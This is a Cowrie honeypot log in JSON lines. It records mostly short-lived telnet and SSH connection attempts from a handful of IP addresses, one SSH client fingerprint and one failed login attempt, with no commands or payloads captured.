{"eventid":"cowrie.session.closed","duration":31.056953191757202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.067074Z","src_ip":"85.190.254.94","session":"8f371b6f010f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbacf582a090","protocol":"telnet","message":"New connection: 85.190.254.94:56634 (10.17.0.5:23) [session: fbacf582a090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.160748Z"}
{"eventid":"cowrie.session.closed","duration":30.934760570526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.199732Z","src_ip":"167.71.198.239","session":"8670267c2eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":23446,"dst_ip":"159.203.135.109","dst_port":22,"session":"733c770bc0a9","protocol":"ssh","message":"New connection: 119.195.89.96:23446 (159.203.135.109:22) [session: 733c770bc0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.727277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.732917Z","src_ip":"119.195.89.96","session":"733c770bc0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.930626Z","src_ip":"119.195.89.96","session":"733c770bc0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":47690,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea85ae7cf9b2","protocol":"telnet","message":"New connection: 136.244.67.81:47690 (159.203.135.109:23) [session: ea85ae7cf9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:32.948919Z"}
{"eventid":"cowrie.session.closed","duration":30.7221896648407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.054628Z","src_ip":"85.190.254.94","session":"b25e1a127827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609492540359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.066720Z","src_ip":"85.190.254.94","session":"a5289dda5c80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":47692,"dst_ip":"159.203.135.109","dst_port":23,"session":"af85f72a8745","protocol":"telnet","message":"New connection: 136.244.67.81:47692 (159.203.135.109:23) [session: af85f72a8745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.360662Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60586,"dst_ip":"10.17.0.5","dst_port":23,"session":"7be414a6bc4b","protocol":"telnet","message":"New connection: 85.190.254.94:60586 (10.17.0.5:23) [session: 7be414a6bc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.387228Z"}
{"eventid":"cowrie.session.closed","duration":31.50125741958618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.402814Z","src_ip":"167.71.198.239","session":"0afe1e42b24c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60970,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c922634bc30","protocol":"telnet","message":"New connection: 85.190.254.94:60970 (10.17.0.5:23) [session: 2c922634bc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.476135Z"}
{"eventid":"cowrie.session.closed","duration":30.991112232208252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.584671Z","src_ip":"85.190.254.94","session":"97aba1fc85f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser123","message":"login attempt [appuser/appuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:33.753073Z","src_ip":"119.195.89.96","session":"733c770bc0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":34958,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b1dcc84545","protocol":"telnet","message":"New connection: 85.190.254.94:34958 (10.17.0.5:23) [session: 47b1dcc84545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.087055Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":60976,"dst_ip":"159.203.135.109","dst_port":23,"session":"d993784446b7","protocol":"telnet","message":"New connection: 138.197.5.236:60976 (159.203.135.109:23) [session: d993784446b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.149676Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":39082,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf2e6df72407","protocol":"telnet","message":"New connection: 107.152.33.170:39082 (159.203.135.109:23) [session: cf2e6df72407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.160800Z"}
{"eventid":"cowrie.session.closed","duration":30.53516960144043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.169405Z","src_ip":"85.190.254.94","session":"74f8849b6d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10279083251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.202649Z","src_ip":"85.190.254.94","session":"0d197dae77bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362616062164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.253447Z","src_ip":"167.71.198.239","session":"f1e477faf166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":33432,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b88e5e4658","protocol":"telnet","message":"New connection: 138.197.5.236:33432 (159.203.135.109:23) [session: 47b88e5e4658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.704656Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"212be92202df","protocol":"telnet","message":"New connection: 85.190.254.94:37060 (10.17.0.5:23) [session: 212be92202df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.730564Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14b63ef343a","protocol":"telnet","message":"New connection: 85.190.254.94:37280 (10.17.0.5:23) [session: a14b63ef343a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.810397Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"731eea905b80","protocol":"telnet","message":"New connection: 85.190.254.94:37614 (10.17.0.5:23) [session: 731eea905b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.893526Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9254d3c1502","protocol":"telnet","message":"New connection: 167.71.198.239:39776 (159.203.135.109:23) [session: a9254d3c1502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.930924Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:34.952258Z","src_ip":"119.195.89.96","session":"733c770bc0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38320,"dst_ip":"10.17.0.5","dst_port":23,"session":"560cd89e9305","protocol":"telnet","message":"New connection: 85.190.254.94:38320 (10.17.0.5:23) [session: 560cd89e9305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.082190Z"}
{"eventid":"cowrie.session.closed","duration":30.30118703842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.087878Z","src_ip":"85.190.254.94","session":"a9e7a1e0f707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758184671401978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.134084Z","src_ip":"85.190.254.94","session":"a005494bf408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":40230,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a661f6e8b98","protocol":"telnet","message":"New connection: 167.71.198.239:40230 (159.203.135.109:23) [session: 3a661f6e8b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.363759Z"}
{"eventid":"cowrie.session.closed","duration":31.274085760116577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.807112Z","src_ip":"85.190.254.94","session":"209ffbcde03e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d13cc0dbe4","protocol":"telnet","message":"New connection: 85.190.254.94:41580 (10.17.0.5:23) [session: 65d13cc0dbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:35.945776Z"}
{"eventid":"cowrie.session.closed","duration":30.612014293670654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.072803Z","src_ip":"85.190.254.94","session":"f6c0a7eb5ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42250,"dst_ip":"10.17.0.5","dst_port":23,"session":"587c8e25af17","protocol":"telnet","message":"New connection: 85.190.254.94:42250 (10.17.0.5:23) [session: 587c8e25af17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.154755Z"}
{"eventid":"cowrie.session.closed","duration":30.48051166534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.180620Z","src_ip":"167.71.198.239","session":"a54556a5b905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea842a4010a7","protocol":"telnet","message":"New connection: 136.244.67.81:39234 (159.203.135.109:23) [session: ea842a4010a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.268828Z"}
{"eventid":"cowrie.session.closed","duration":30.622711658477783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.275768Z","src_ip":"167.71.198.239","session":"0efabf25184f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43052,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef25308ade1","protocol":"telnet","message":"New connection: 85.190.254.94:43052 (10.17.0.5:23) [session: cef25308ade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.351288Z"}
{"eventid":"cowrie.session.closed","duration":30.69890260696411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:36.488751Z","src_ip":"136.244.67.81","session":"bb885448d372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":43870,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7faa1101ee6","protocol":"telnet","message":"New connection: 167.71.198.239:43870 (159.203.135.109:23) [session: f7faa1101ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:37.699634Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":39236,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa1663acf8ae","protocol":"telnet","message":"New connection: 136.244.67.81:39236 (159.203.135.109:23) [session: fa1663acf8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.058672Z"}
{"eventid":"cowrie.session.closed","duration":31.103061199188232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.085858Z","src_ip":"85.190.254.94","session":"90e3b8891a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10615110397339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.160109Z","src_ip":"85.190.254.94","session":"4eb9b66c6985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":37354,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab1475a07e6","protocol":"telnet","message":"New connection: 138.197.5.236:37354 (159.203.135.109:23) [session: 6ab1475a07e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.248304Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":39240,"dst_ip":"159.203.135.109","dst_port":23,"session":"793768d37978","protocol":"telnet","message":"New connection: 136.244.67.81:39240 (159.203.135.109:23) [session: 793768d37978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.317880Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51908,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd993fe4b2ce","protocol":"telnet","message":"New connection: 85.190.254.94:51908 (10.17.0.5:23) [session: bd993fe4b2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:38.773443Z"}
{"eventid":"cowrie.session.closed","duration":30.823627948760986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:40.060986Z","src_ip":"85.190.254.94","session":"3fd96acae4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6581b465fe51","protocol":"telnet","message":"New connection: 85.190.254.94:57452 (10.17.0.5:23) [session: 6581b465fe51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:40.305345Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58818,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bb0e0c4242","protocol":"telnet","message":"New connection: 85.190.254.94:58818 (10.17.0.5:23) [session: 49bb0e0c4242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:40.626772Z"}
{"eventid":"cowrie.session.closed","duration":30.221145629882812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.103740Z","src_ip":"85.190.254.94","session":"23c5dce20172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":33518,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ace5f923539","protocol":"telnet","message":"New connection: 85.190.254.94:33518 (10.17.0.5:23) [session: 3ace5f923539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.414780Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d1b49b1af88","protocol":"telnet","message":"New connection: 85.190.254.94:33850 (10.17.0.5:23) [session: 4d1b49b1af88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.493088Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce7ac13ad09","protocol":"telnet","message":"New connection: 85.190.254.94:34960 (10.17.0.5:23) [session: 7ce7ac13ad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.779199Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49992,"dst_ip":"159.203.135.109","dst_port":23,"session":"843fcd7afc27","protocol":"telnet","message":"New connection: 167.71.198.239:49992 (159.203.135.109:23) [session: 843fcd7afc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.823016Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"143a8342ef72","protocol":"telnet","message":"New connection: 136.244.67.81:39256 (159.203.135.109:23) [session: 143a8342ef72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:41.902889Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce1b550bc74","protocol":"telnet","message":"New connection: 138.197.5.236:42160 (159.203.135.109:23) [session: 2ce1b550bc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.160317Z"}
{"eventid":"cowrie.session.closed","duration":31.07510542869568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.171682Z","src_ip":"85.190.254.94","session":"cf1136a45d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42180,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b025ae0977","protocol":"telnet","message":"New connection: 138.197.5.236:42180 (159.203.135.109:23) [session: 60b025ae0977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.186286Z"}
{"eventid":"cowrie.session.closed","duration":30.732491731643677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.191234Z","src_ip":"85.190.254.94","session":"dbd63d6ad6e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50456,"dst_ip":"159.203.135.109","dst_port":23,"session":"0539f9b83e22","protocol":"telnet","message":"New connection: 167.71.198.239:50456 (159.203.135.109:23) [session: 0539f9b83e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.195649Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df862c0829c","protocol":"telnet","message":"New connection: 138.197.5.236:42186 (159.203.135.109:23) [session: 9df862c0829c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.200925Z"}
{"eventid":"cowrie.session.closed","duration":31.455078840255737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.358771Z","src_ip":"167.71.198.239","session":"a0db2f69fabe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099708318710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.418844Z","src_ip":"85.190.254.94","session":"e0e1de3ad19d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2285bb8d6ab","protocol":"telnet","message":"New connection: 136.244.67.81:39270 (159.203.135.109:23) [session: f2285bb8d6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.485641Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9c2ca55c2d","protocol":"telnet","message":"New connection: 85.190.254.94:37642 (10.17.0.5:23) [session: ca9c2ca55c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.548240Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc4f6904f76","protocol":"telnet","message":"New connection: 138.197.5.236:43146 (159.203.135.109:23) [session: 9bc4f6904f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:42.879885Z"}
{"eventid":"cowrie.session.closed","duration":30.136469841003418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:43.060688Z","src_ip":"85.190.254.94","session":"49062019f120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43340,"dst_ip":"159.203.135.109","dst_port":23,"session":"8feecc1a0332","protocol":"telnet","message":"New connection: 138.197.5.236:43340 (159.203.135.109:23) [session: 8feecc1a0332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:43.162050Z"}
{"eventid":"cowrie.session.closed","duration":31.0116548538208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:43.213741Z","src_ip":"85.190.254.94","session":"be62fb77d9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50686,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06998cf6b61","protocol":"telnet","message":"New connection: 167.71.198.239:50686 (159.203.135.109:23) [session: b06998cf6b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:43.491991Z"}
{"eventid":"cowrie.session.closed","duration":30.7785804271698,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:44.063627Z","src_ip":"85.190.254.94","session":"d690b7fc210a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449323415756226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:44.242859Z","src_ip":"167.71.198.239","session":"4935867c0241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.492077827453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:44.609469Z","src_ip":"85.190.254.94","session":"9693d5ba140a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca93fd518780","protocol":"telnet","message":"New connection: 85.190.254.94:44814 (10.17.0.5:23) [session: ca93fd518780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:44.746468Z"}
